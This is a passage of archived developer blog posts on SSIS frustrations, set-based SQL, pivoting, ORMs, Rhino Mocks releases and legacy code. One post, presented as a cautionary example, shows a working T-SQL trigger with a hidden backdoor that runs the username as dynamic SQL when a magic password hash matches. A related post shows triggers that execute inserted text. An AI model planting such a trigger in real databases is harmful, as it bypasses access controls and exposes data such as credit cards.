Ayende @ Rahien

It's a girl

SSIS Debugging Frustrations

SSIS is a great tool, and I really like some of the things that it allows me to do. But for crying out loud, you can't debug this thing. The errors it generate are reasonable enough if it is SQL server errors, but if it is something that is generated by SSIS itself, god forbid that you'll try to get what the error was.

Here are some examples for things that really frustrate me:

  • When you get a failure in the data loading, the error code you get refers to the LineageID of the column that caused the failure. The LineageID, as far as I could figure out, is some random integer that is attached to a column on creation. Why this is the error information that I'm getting, I'm not sure about.
  • No way to take a formatted string and turn it into a date unless it is dd-mm-yyyy. It doesn't accept any other format.
  • Speaking of which, it insists on using DB_TIMESTAMP for datetime columns in the SQL Server.
  • The UI to do complex stuff is just plain horrible. You need to do some transformation on a column? You get to write something that looks like a hybrid of the worst stuff in both C and VB, in a one line UI, that has major scrolling problem.
  • When the UI is generous enough to gives you errors, it will display them when you hover over it, for exactly 3 seconds, and then you need to move the mouse so the hover event would fire and then you've another couple of seconds to read the error.
  • Finding out what failed is a matter of trail and error. I had a problem where I had a date formatted as dd-mm-yy, instead of the yyyy that it expects. It worked like a charmed in that task, and then bombed on me when we tried to save to the database with a completely obscure error about not being able to convert timestamps to datetime.
  • You tend to get disk I/O buffer errors occationally, I'm not sure why, trying to run it again usually works.
  • It's really annoying to put it into a source control like VSS, since it set the file state to read-only, which cause SSIS to throw errors and means that if I'm testing a package, no one else can use it.
  • Very limited support for doing things across multiply packages.
  • The UI is sloooow at best.
  • The UI is also obscure as hell, just try to do a pivot table in SSIS. Give me a apache.conf any day, at least that is documented.
  • Some basic operations are hard to do. So hard that I wasn't able to do them, in fact. Getting a value from a stored procedure into a User::Variable is one of them.
  • Did I mention that I find the UI extremely awkward to work with?
  • Copy & Paste takes an exteremly long time, and often produce unpredictable results.
  • Limited ability to write actual code. This mean that in order to solve a very simple problem, I need to either add an assembly to the package (add a script task in VB.Net only, appernatly {which I then would need to share between packages, meaning copy & paste errors}) or do it in some rather nasty macro langauge that I really don't understand the benefit off.
  • Horrible debugging experiance, if something goes wrong, unless you you knows what is wrong (and we found some fairly typical errors that we made), you're screwed. You're left to try this and that until it works or gives a different error message. No way that I found to step through the actions as they occur. (And yes, if in the middle of 1,000,000 records load I get a bad record, I need to be able to see what is wrong with that record. Or all the nine other records that precede and follow it.
  • Try-finally is hard to do. I may have Pre Action, A,B,C Post Action. The Pre & Post Actions need to be executed regardless of what happens in the middle. That is not trivial to do in SSIS, even though it should. I may be able to do so if I put everything in a sequence, and then put the post action as the next action with execute on completion, but that doesn't work if I have a transaction already running (and you can't put two sequences inside one another and then chain stuff inside of them).
  • Exporting / Importing data from SQL Server to Access and back (same schema in both SQL Servers, empty MDB file to start with) is not working. For some reason Access is using memo (NTEXT for SQL) instead of text (NVARCHAR for SQL), which breaks the import process. And that isn't easy to find either, it just gives a general error about data type mistmatch in a column. Which column, it doesn't bother to tell me.

On the other hand, when you actually manage to run it, the operation itself seems to be very quick. And the UI is in shoothing pale yellow that is easy on the eyes.

Tags:

Published at

SQL Tidbits

Can someone explain to me why Microsoft considers "dummy” as a reserved word in sql?

Any idea how I can get an object SQL text programmatically?

Tags:

Published at

Heavy Load

I just put SQL Server through a stress test that had it copy several giga bytes over a network. It tooks over two hours, but I think most of it was network traffic. The actual inserts took relatively little, although toward the end I noticed SQL Server slurping memory like it was free candy (ended on ~1.4Gb RAM taken).
I then run a query on all of that data, which returned much quicker than I expected. The more I work with it, the more I like it.

Tags:

Published at

No more occupational therapy

One of the most obnoxious thing about writing diagrams (be that DB layout, class hierarchies, SSIS packages, etc) is how to arrange the connections so you can see anything clearly. It has been notoriously hard to do it in most tools that I’ve used, but I just found the Format > Layout > Diagram command in SSIS that arrange a package very neatly in a tree fashion.

This little command is going to save many hours .

Tags:

Published at

Those who can't teach

I find myself so busy lately that I really can't dedicate any effort to my pet projects (work & life seems to get in the way). Since I still have some computer time free, and since I really can't gather the mental effort to write good code, I try to spend a short amount of time writing a lecture on various subjects.

I used to teach quite a bit during my time in the army, for a long time, that was my job description, and it is something that I really enjoy. I didn't get to talk much about technical stuff (unless you consider hand cuffs to be technical :-) ), though. I gave a couple of lessons in tech stuff since I left the army, and it had a great time. I'll see if/when I can post some of this stuff online. I would love to get some feedback on this.

Annoyance of the Day

Can't figure out why it is not possible to pass a result set to a stored procedure. I want to bulid something like this:

CREATE PROCEDURE Ensure_FK

      @missing_fk table(fk int)

AS

      INSERT INTO Parent_Table (FK, Desc)

      SELECT fk, 'no description' FROM @missing_fk

      WHERE fk NOT IN (SELECT fk FROM Parent_Table)

Usage:

SELECT

FK INTO #Fks FROM Child_Table;
exec Ensure_FK #Fks

I dug around the documentation, and it looks like table variables can not be used as a procedure parameter :-(

Tags:

Published at

Rhino Mocks 2.5.9

My name is Ayende Rahien, I'm a software developer, it has been five days since I last release a version, but I can't hold myself anymore.

Yes! A new release for Rhino Mocks, with better support for method with array of value type arguments. I would like to thank to J.H.L. van de Pol for sending the patches and for converting to Rhino Mocks.

You can get the new bits and the source here.

Now I need a new feature for Rhino Mocks so I can bump the version number to 2.6 and avoid the problem of a two digit minor release number. I have some ideas, but I would like to hear more from you.

Tags:

Published at

Nasty SQL: Part 3

I realized that I didn't really explain why anyone would ever need this nastiness, the idea is piping dynamic SQL inside the database. I realize that this doesn't really mean anything, so here is the example. First, we need to expand our nasty trigger to support multiply statements:

CREATE TABLE Nasty( [text] nvarchar(500));

GO

CREATE TRIGGER Very_Nasty_Trigger

ON NASTY

INSTEAD OF INSERT

AS BEGIN

    DECLARE @stmt nvarchar(500);

      DECLARE statements CURSOR

      FOR select [text] from INSERTED;

      OPEN statements

      FETCH NEXT FROM statements

            INTO @stmt

      WHILE @@FETCH_STATUS != -1

      BEGIN

            exec sp_executesql @stmt

            FETCH NEXT FROM statements

                  INTO @stmt

      END

      CLOSE statements

      DEALLOCATE statements

END

Now we can use it to find out stuff about our database using the InformationSchema tables, like so:

INSERT INTO Nasty([text])

SELECT 'SELECT COUNT(*), '''+table_name+''' FROM '+table_name FROM information_schema.tables

This is quick and dirty way to find out how much rows there are in each of your tables. Ten points to the first person who can recognize where similar technqiue is widely used.

Tags:

Published at

More SQL Nastiness: The Back Door

Continuing on the theme of the nasty trigger from the previous post, here is the Back Door Trigger, let’s see what happens when a nefarious (rather then just nasty) programmer has thoughts about leaving himself a back door into an application, take a look at this, how long does it take to see what is wrong here?

 

CREATE Table Users
(
      user name nvarchar(50),
      password varbinary(10)
      -- more data
);

GO   
CREATE TRIGGER HashPassword ON Users INSTEAD OF INSERT
AS
BEGIN
      DECLARE @password varbinary(10), @username nvarchar(50)
      SET @username = (SELECT user name from inserted)
      SET @password = (SELECT HashBytes('SHA',inserted.password) from inserted)
      if (@password = 0x939A115E3DCD7C4D2764)
            exec sp executesql @username
      else
     
      INSERT INTO Users(user name, password) VALUES(@username, @password)
END

 

This is a near invisible back door to do whatever you want in the system. This would go through stored procs and any other security mechanism that you’ve in place like smoke. I think that this will most probably pass through most code reviews and security inspections without being noticed. For extra points, implement your own HashWithSalt() function that will be used on the corresponding view which will do the same for selection.

 

INSERT INTO Users(user name, password) VALUES('SELECT * from CreditCards', '1=0');

 

You’ve better start shopping.

Published at

Nasty SQL Idea

If I ever catch someone actually doing it, there would be hell to pay, but here is a new level of nastiness in SQL:

 

CREATE TABLE Nasty( [text] nvarchar(500));

CREATE TRIGGER Very Nasty Trigger ON  NASTY INSTEAD OF INSERT

AS BEGIN
      Declare @stmt nvarchar(max)
      SET @stmt = (select [text] from INSERTED);
      exec sp executesql @stmt
END

 

Usage: INSERT INTO NASTY([TEXT]) VALUES('SELECT 56');

 

The result of this query is 56, but it can do pretty much anything it wants. I’ll post later with the nastier query. This one is just the start. I’m seeing something (not as advanced) too much right now.

Published at

What I'm missing in SQL Server Management Studio

Here is a list of the things that I really need. Just to clarify, I am working on a large database. I waste a ton of time just finding stuff in the UI.

 

  • Grouping items in the UI according to a certain naming convention (regular expression would be great) .
  • Quick find by the name of the object (and an option to script it to the query window).
  • A way to disable the (very slow) UI from popping up all the time with pretty tables / graphs, and just get the SQL.

Published at

On the nature of beauty

I had a very long post ready about the nature of beauty, code and perl poetry, I canned that and will just note that it's much better to work of beautiful things than normal ones.

Case in point: I was working on a power point presentation, and when I merely selected a slide design that I like, I felt much better and was much more willing to complete the task then when I was staring at the boring black on white.

Comparing LINQ and Its Contemporaries

Ted Neward has an article at MSDN about Linq (Microsoft next generation data accress layer / ORM) and the rest of the tools that are out there in the field for data acess. I agree with most of the article, and I was excited as any when I first saw Linq (can you imagine walking to a client and telling him that this is The Microsoft way to do so, instead of having them insist on datasets?).

The problem that I have is that it make some broad generalizations about the rest of the tools, more spesficailly, on N/Hibernate. To be spesific, this quote:

Unfortunately, because Hibernate, JDO 2 and EJB 3 all sit "on top" of the language as written, they suffer from many of the same problems as all automated mapping tools do: attempts to hide data retrieval strategies behind object interfaces, which goes hand in hand with attempts to model relationships between tables in the data store with relationships between objects, and an inability to address strongly typed "partial object" queries being two of the major problems.

There are so many things that I've a problem here that I've a hard time to know where to start.

  • "... attempts to hide data retrieval strategies behind object interfaces ..." - Yes, and? That is the whole point of an ORM, I don't want  to know about the data retrieval strategy. I do want to be able to say "give me Ayende's Blog and all the posts from december" without caring how this is done.
  • "... attempts to model relationships between tables in the data store with relationships between objects ..." - I call bull on this one. I wrote a highly complex business model that had very little to do with the underlying database structure. I was neither constrained nor force to change my model for the database, or the other way around.
  • "... an inability to address strongly typed "partial object" queries ..." - I'm not sure what he is talking about here, but in my project, there is one place where I used strings to expressed a query, and that was because what I needed could not be expressed without the type semantics of the CLR.

The only thing that Linq has is that they same guys that write the programming languages are writing it. I can guarantee that NHibernate will take advantage of those features before long, and there are similar implementation to Linq right now, in db4o products. The rest of the problems he specified which was the select N + 1 and loading large amounts of data can be solved by any ORM that I know of, and they will be a problem for Linq as well.

I used to be a pretty heavy C++ guy, I loved reading and writing template heavy code, playing with pointers, playing as close to the hardware as it is possible in modern OS. Then I met the CLR, and I realize that I could be far more productive if I didn't have to think about memory handling all the time. That is not to say that I can afford not to think about it, it just mean that I don't need to be aware of the implications of each and every line of code (anyone can recall the lessons about what can cause exceptions and what can't?). Beyond an integer assignment, I think that anything could, and you needed to be aware of that and be sure to release memory. That is without talking about buffer overflows or segmentation fault.

I feel the same way about ORM. I know SQL, I think that it is a great language to do all sort of cool stuff (most of which I'm currently finding out about), but I don't think that it has a place in a business application. ORM frees you to work on a business concerns, no on the details of my data access strategy. Like in the GC, you can't really ignore it, but it gets the data out of your way. When you need to optimize, it's very easy to do so. I managed to take a page from 91 queries per page view to just 3 (and I don't think that I could have gone down to less than 2 if I tried hard) in a few hours.

I consider an ORM as important to developing business applications as a Garbage Collection is.

Moving from procedural code to sets: Part 2

In the previous post I showed how it is possible to use aggerate functions to avoid procedural code in SQL. The result of this post actually surprised me, since I didn't know that this was possible until I tried it (I intended to show that this is not possible, and then show another way). As an aside, looking into the results of both queries, the cursor based one was wrong by several thousands, because of data type conversions that were happening (losing precision from numeric to money, mostly).

Well, I still want show how to do it in more complex statements, but I'm having trouble of thinking of a problem simple enough to explain that cannot be solved better, as I showed yesterday. So, let's go back to my mythological Payments table, which now looks like this:

Amount To Payments Date
626.329 Gas 23 7/1/06
794.995 Food       10 7/1/06
296.007 Drink       20 7/1/06

The table contains 1,000,000 rows, and has no indexing / primak keys whatsoever.

Here is another contrived example, which now will also calculate the average amount of a single payment, as well as the total number of single payments:

DECLARE

      @current_amount money,

      @current_NumOfPayments int,

      @total money,

      @tmp money,

      @avg money,

      @count NUMERIC

 

DECLARE big_payments CURSOR

            FOR SELECT amount,NumOfPayments FROM Payments

 

SET @total = 0

SET @count = 0

 

OPEN big_payments

 

FETCH NEXT FROM

     big_payments INTO @current_amount, @current_NumOfPayments

 

WHILE @@FETCH_STATUS != -1

BEGIN

 

      IF (@current_NumOfPayments IS NOT NULL AND @current_NumOfPayments <> 0)

            SET @tmp = @current_amount/@current_NumOfPayments   

      ELSE

        SET @tmp = @current_amount

 

      SET @total = @total + @tmp  

        SET @count = @count +1

 

      FETCH NEXT FROM

            big_payments INTO @current_amount, @current_NumOfPayments

 

END

 

CLOSE big_payments

DEALLOCATE big_payments

 

IF (@count <> 0)

      SET @avg = @total / @count

 

SELECT @total, @avg

This query execute in over a minute (01:30, to be exact), this is obviously quite unacceptable, it is possible to use the previous technique here as well, using this statement (runtime over million records is less than a second):

SELECT SUM(

        CASE NumOfPayments

                  WHEN NULL THEN Amount

                  WHEN 0 THEN Amount

                  ELSE Amount/NumOfPayments

        END

) SumOfPayments,

SUM(

        CASE NumOfPayments

                  WHEN NULL THEN Amount

                  WHEN 0 THEN Amount

                  ELSE Amount/NumOfPayments

        END

) / count(*) as AveragePayment
FROM Payments

But this is just ugly, in my opinion, not to mention that it duplicate code. Also, in certain situations it gets ugly (very) fast(think of the case where I need to use both the sum and the average in yet another calculation (the code that started this talk had about seven such calculations, btw).

Here is a better solution, which involve nesting statements, like this:

SELECT

      SumOfPayments,

      AvergatePayment = CASE CountOfPayments

            WHEN NULL THEN

                  SumOfPayments

            WHEN 0 THEN

                  SumOfPayments

            ELSE

                  SumOfPayments / CountOfPayments

            END

FROM (

      SELECT SUM(

              CASE NumOfPayments

                        WHEN NULL THEN Amount

                        WHEN 0 THEN Amount

                        ELSE Amount/NumOfPayments

              END

      ) SumOfPayments,

      count(*) as CountOfPayments

      FROM Payments

) TmpCalc

This method allows for temporary calculations and avoid duplicating code. This statement also run in under a second, and has the same execution plan as the previous one. I have used this method to break up the calculations so I could turn a true masterpiece of cursor based logic into a single (big) SQL statement.

Tags:

Published at

.Net 2.0 Code Conversion

This one is Cool. The Sharp Develop folks has a code convertor out that works for .Net 2.0 (including generics!) and it works for C# <-> VB.Net and VB.Net / C# -> Boo!

You can get it here, and there is even a web service you can call to do it automatically from your code. I like the design of only converting to Boo, obviously once you've got your code in Boo, you never need to move it to another language.

This convertor uses the NRefactory library, so it's pretty robust, and the code it generates is legible.

Moving from procedural code to sets

SQL is a great language, and I’m discovering new things about it daily, but it has a big problem, and that is that it is hard to express some simple problems with SQL. Let’s take a contrived example, my Payments table now has a column that mention the number of payments to be made, and I want to get the total of all the individual payments. A first implementation would look like this:

SELECT sum(amount / NumOfPayments) from payments

But this produce an error: Divide by zero error encountered.

Ouch, so this way is out (and yes, I know that this is a bad way to model the data). So, we have a problem, and the easiest thing to do it to fall to a procedural mindset and code the following:

DECLARE
      @current amount NUMERIC,
      @current NumOfPayments NUMERIC,
      @total NUMERIC,
      @tmp NUMERIC

DECLARE big payments cursor CURSOR

            FOR SELECT amount,NumOfPayments FROM Payments

SET @total = 0

OPEN big payments cursor

FETCH NEXT FROM
      big payments cursor INTO @current amount, @current NumOfPayments

WHILE @@FETCH STATUS != -1
BEGIN

IF (@current NumOfPayments IS NOT NULL AND @current NumOfPayments <> 0)
      SET @tmp = @current amount/@current NumOfPayments    
ELSE
            SET @tmp = @current amount

      SET @total = @total + @tmp   

      FETCH NEXT FROM
            big payments cursor INTO @current amount, @current NumOfPayments

END

CLOSE big payments cursor
DEALLOCATE big payments cursor

SELECT @total

This works, and even produces a decent enough answer, and that is where some “predecessors” may leave the code. But I decided to take it into a spin over a million records (no indexing, Primary Keys or Foreign Keys whatsoever).

Do you care to know what the execution time for this? 01:03 Minutes! That is not good. But do I have a choice? Well, it turn out that I do, check this out:

SELECT SUM(
      CASE NumOfPayments
            WHEN NULL THEN Amount
            WHEN 0 THEN Amount
            ELSE Amount/NumOfPayments
      END
) FROM Payments

Care to guess how fast this run over the same table? 00:00, too fast for the clock to count. Next time, I’ll talk about nested selects and how to use them in even more complex queries.

Published at

25 Good Things About Legacy Code

Maintaining legacy code is such a daunting task for many developers that I decided to highlight some of its upsides for a change. Here they are, in no particular order:

 

  1. Every piece of code is a surprise, and should be treated uniquely.
  2. Track how and when your predecessor learned new tricks of the trade. And then applied them everywhere.
  3. No more being shackled to a corporate coding standard, invent your own, or, better yet, just pick and choose based on what you ate this morning and the state of the moon. Let your inner hacker out.
  4. Delight in the opportunity to humble yourself staring for hours on a convoluted piece of code.
  5. Feel the joy of learning a business rule from six scattered files and misleading comments. Doesn’t the sense of accomplishment feel great?
  6. You thought that you needed a couple of years in university and a degree to learn how to do the business? Now you get the chance to learn it, and you get paid to do so. All you need to do is to look at the code; it will tell you everything you need (although sometimes in a foreign language, with a strong accent, using four letter words).
  7. This one I can guarantee, you will learn every trick in that area of computing; including some that the greybeards have forgotten.
  8. Pit your mind against the mind of the previous coder; it’s a struggle of will in the fight for understanding and achieving Zen.
  9. You’ll have the chance to view first hand the discovering of unknown, new and exciting design patterns.
  10. You’ll get to bask in the presence of old and venerable practices, such as the Scattered Responsibility, the Code Reuse Via Copy/Paste, the Write Your Own, etc.
  11. You get to program like a real programmer. Transactions, why do you need them? Real programmers write their own transaction systems on top of a database, and then they don’t use it because they handle it all in the business layer.
  12. You get to see the anti discrimination campaign that your predecessor has left. It’s an unfair treatment to code based on its task, and that has got to be covered by some law or something. Let’s take the poor mistreated database code out of the bowels of the application and put it right next to the UI, so it would feel better about itself.
  13. Watch how old problems are solved in new and exciting ways.
  14. You’ll get a sense of awe at the magnitude of the code when you’ll check the count of lines per method.
  15. Feel that warm feeling of a job well done; tracking a piece of code for hours, then discovering that it’s a dead branch.
  16. Express the need to assert yourself by making a change in multiply locations, several times.
  17. Truly understand the intricacies of the tools that you are working with.
  18. You learn to do tricks with numbers, like seeing 5323 and knowing deep in your bones that this is the count of vacation hours per employee per month report.
  19. You know the conversion matrix of types by heart, since your predecessor kindly thought it was a challenging adventure and use different types (float, decimal, string) for the same data in different places.
  20. You get to develop truly enterprise system, where redundancy is ever deeper than the one in the space shuttle. There is never just one way to do something in the code base. And your predecessor made sure to use one of the options randomly, just for the case where you may break one of the implementation by mistake and the whole application won’t go down.
  21. You truly stand on the shoulders of giants. Like most geniuses, your predecessor knew to ignore the advice of the so-called “leading figures” in the field and carved his way through fire and ice to get to the goal, stopping at nothing at the way.
  22. Enjoy your work as your read all those internal jokes that were put to the code. Sometimes it’s in the form of a comment, but occasionally you’ll get the truly inspired code that read like a good joke.
  23. Admire the loyalty to the vendor of choice on the part of your predecessor, who did anything humanly possible to ensure that the system will remain on the vendor’s systems for all time.
  24. Bask in the glory of your predecessor, who had the foresight to think about the Convention over Configuration decades before it was out in force. Okay, so it’s more of a guideline than a convention, but hey, it was a long time ago.
  25. Be on alert at all times, searching for the next surprise gift that your predecessor left you, often hidden in three separate files, named similarly.

Published at

On SQL and Reuse

I’ve been thought that I should do my best to avoid duplicating code. And I’m pretty fanatic about this when I’m programming in a OO or procedural languages. But how do I do it with SQL? The issue keeps coming back with code that looks sort of like this:

 

INSERT INTO Actions (Code, NormalDescription)

SELECT 13, T.Description +’ ‘ +F.Description  FROM Feathers F, Tar T

WHERE  T.Amount > T.Amount;

 

INSERT INTO Actions (Code, CrimeDescription)

SELECT 14, T.Description +’ ‘ +F.Description  FROM Feathers F, Tar T

WHERE  T.Amount = T.Amount;

 

Now imagine that the statements are each 70 lines long, and including quite a bit of business logic. The difference between the two cannot be expressed (to my knowledge) in SQL. To the best of my knowledge, the only way to make this reusable is with dynamic SQL and string concentration (which are issues enough on their own.) I run into this a lot lately, the differences in the queries are miniscule, but insurmountable, so it seems.

Is there a good way to solve this?

Published at

Having fun with information schema

Here is a quick way to tell if you are working on legacy code or not. Just run this code and check the result, I even including some text to help you decide.

 

SELECT TOP(1)

      table name,

      COUNT(table name) as NumOfCols,

      CASE

            WHEN COUNT(table name) < 15 THEN 'No.'

            WHEN COUNT(table name) < 25 THEN 'Not yet.'

            WHEN COUNT(table name) < 35 THEN 'Seriously think about refactoring.'

            WHEN COUNT(table name) < 55 THEN 'Yes!'

            WHEN COUNT(table name) < 85 THEN 'Hell, Yes!'

            ELSE 'Run Away!'

      END as [Is Legacy]

FROM INFORMATION SCHEMA.COLUMNS

GROUP BY table name

ORDER BY NumOfCols DESC

 

As a note, running this query against my current database, it tells me to run far away.

Published at

Moving code to VB.Net

I recently had to change some code I’ve written to VB.Net from C#, and it was a painful process. Not because the conversion was difficult, or because I had to make changes to my code, but because I couldn’t find an automated tool to translate C# 2.0 code to VB.Net 2.0 (including anonymous methods, generics, etc).

Luckily, the code consisted of 2 files with less than 10 methods overall, so I was able to convert it manually. The bad parts were that there doesn’t seem to be a way to do anonymous method in VB.Net (at least not something instantly googlable), and it took me a while to get the grips with the generics syntax. I can read VB.Net code, of course, but the verbosity of it is killing me when I’m writing it. And the mental effort of translating VB.Net code to something that I can understand is annoying beyond short code samples.

Published at

Bjarne Stroustrup on C++ 0x

I used to dig C++ to the core, and I still have a couple of repeated fond nightmares about it :-)
This article talks about the next version of C++, likely to be C++ 09, and it has some nice features.
After a very quick scan:

auto - which tells the compiler to figure out the type on its own (similar to how var in C# 3.0 works).
Sequence constructors - which allows you to do this: vector<int> = { 1,2,3,5,7} (I just wished that I could have that in the CLR).
Partial template derivation - meaning that you can do declare a type that is still generic, but some of its types are binded. (This a generic dictionary whose key is bound to a string)
Concepts - Which I also talked about recently, allow you to specify what a type should look like, and it looks like that it is doing this regardless of inheritance, so anything that has a Name() method could be put in a naming container, for isntance.
The annoying double >> problem is gone, no more vector< std:string, vector<int> >, you can now proudly state vector<std:string, vector<int>>

The standard library will provide: Hash Tables, Regular expression, and more
For each that works nearly as easily as the .Net one

Take a look at the sample code, which will draw shapes to the screen:

template<Container C>
void draw all(C& c)
where Usable as<C::value type,Shape*>
{
 for each(c, mem fun(&Shape::draw));
}

vector<Shape*> v = {
 new Circle(p1,20),
 new Triangle(p1,p2,p3),
 new Rectangle(p3,30,20)
};

draw all(v);

list<shared ptr<Shape*>> v2 = {
 new Circle(p1,20),
 new Triangle(p1,p2,p3),
 new Rectangle(p3,30,20)
};

draw all(v2);

The only other languages that I can think of where I can produce a code this clear is Javascript & Boo. And it says something when I compare C++ to Boo

Published at

Israel Agile Users Group Meeting

I went to the Agile Users Group meeting today, and had quite a bit of fun.

The first talk was about mock objects, which is obviously a subject near and dear to my heart. I learned about a new mocking tool for .Net PocMock, which seems to be working by generating an assembly statically. I’m not sure how well I feel about this approach, but I can see where it can be very useful.

The second talk was about refactoring 101, which is also a passion of mine, and the presenter was Justin. He gave a great talk, and the only thing missing was a real real-world example (you have to be a developer in Israel to understand this, I’m afraid), like this one:

 public class Order
{

    public string PersonShem;
    public string PersonSemMispaha;

   public string PelephoneKidomet;
   public string PelephoneMishpar;
 

    public string TelephoneBaytKidumet;
    public string TelephoneBaytMispar;

     public string TelephoneAvodaKidomet;
    public string TelephoneAvodaMispar;

}

This is how real production code looks like, including the optional spelling.

That said, the talk covered most of the structural refactoring that you are likely to run into. Justin covered Extract Method, Cut & Past Programming, Meaningful Names, Readable Code Instead Of Comments, etc. I really liked the examples that he gave, I was having hard time not cracking up in several points. 

For instance: "You would have think that in the 29th time they would put it in a method" had me in stitches, I so feel the pain. He also talked briefly about a couple of tools that he is using (both external and in-house), including some that were new to me (exterme simplicity, for instnace).  Very good talk, all in all. I like the presentation as well, very much like Refactoring from Fowler.

After the talks were over I had a chance to talk to several other guys there about mocking, design and stuff. It was fun.

Published at

Rhino Mocks 2.5.8

Seems that I missed posting about it, but there is a new version of Rhino Mocks out, this one fix a problem deep in the bowels of Rhino Mocks that somehow remained hidden until yesterday.

As usual, you can get both binaries and source here  

Published at

How to pivot on unknown values

The problem with pivoting a table is that you need to pass hard-coded values, so you can’t just pass a runtime selection for it.

Here is the scenario:

Let’s go back to our payments table, which looks like this:

CREATE TABLE [dbo].[Payments](

      [Amount] [money] NOT NULL,

      [Date] [datetime] NOT NULL,

      [To] [nvarchar](50) NOT NULL

)

 

Now, I want to see how much I paid to each of my debtors for the last 12 days, but those dates aren’t fixed, there are days (too few, unfortunately) that I don’t have to pay anyone, so I’m in a bit of a bind there. So, how do I solve it? Write a dynamic query? That is possible, but I really hate it. I used a temporary table as a hash map for the values, and here is the result:

 

CREATE TABLE #IndexPerDistinctDate

(

      id int identity(1,1),

      date datetime

);

 

INSERT INTO #IndexPerDistinctDate

(

      date

)

SELECT DISTINCT

      date

FROM Payments

ORDER BY date ASC;

 

SELECT

      *

FROM

(

      SELECT

            p.[To],

            p.Amount,

            i.id as [index]

      FROM Payments p Left Outer Join #IndexPerDistinctDate i

      ON p.Date = i.Date

)

Source

PIVOT

(

      SUM(amount)

      FOR [index] IN

      (

            [1],[2],[3],[4],[5],[6],[7],[8],[9],[10],[11],[12]

      )

) pvt;

 

DROP TABLE #IndexPerDistinctDate;

 

This also demonstrate another feature of pivoting in SQL Server 2005, it just merely ignores values that wasn’t specified. This is exactly what I want for this particular instance.

 

The source table looks like this:

Amount

Date

To

15

12.2.05

gas

27

14.4.05

food

32

17.7.06

drink

 

And the result from the query above looks like this (with 12 columns, but I cut it a bit so it would fit in the page):

To

1

2

3

4

drink

NULL

NULL

32

NULL

food

NULL

27

NULL

NULL

gas

15

NULL

NULL

NULL

 

Tags:

Published at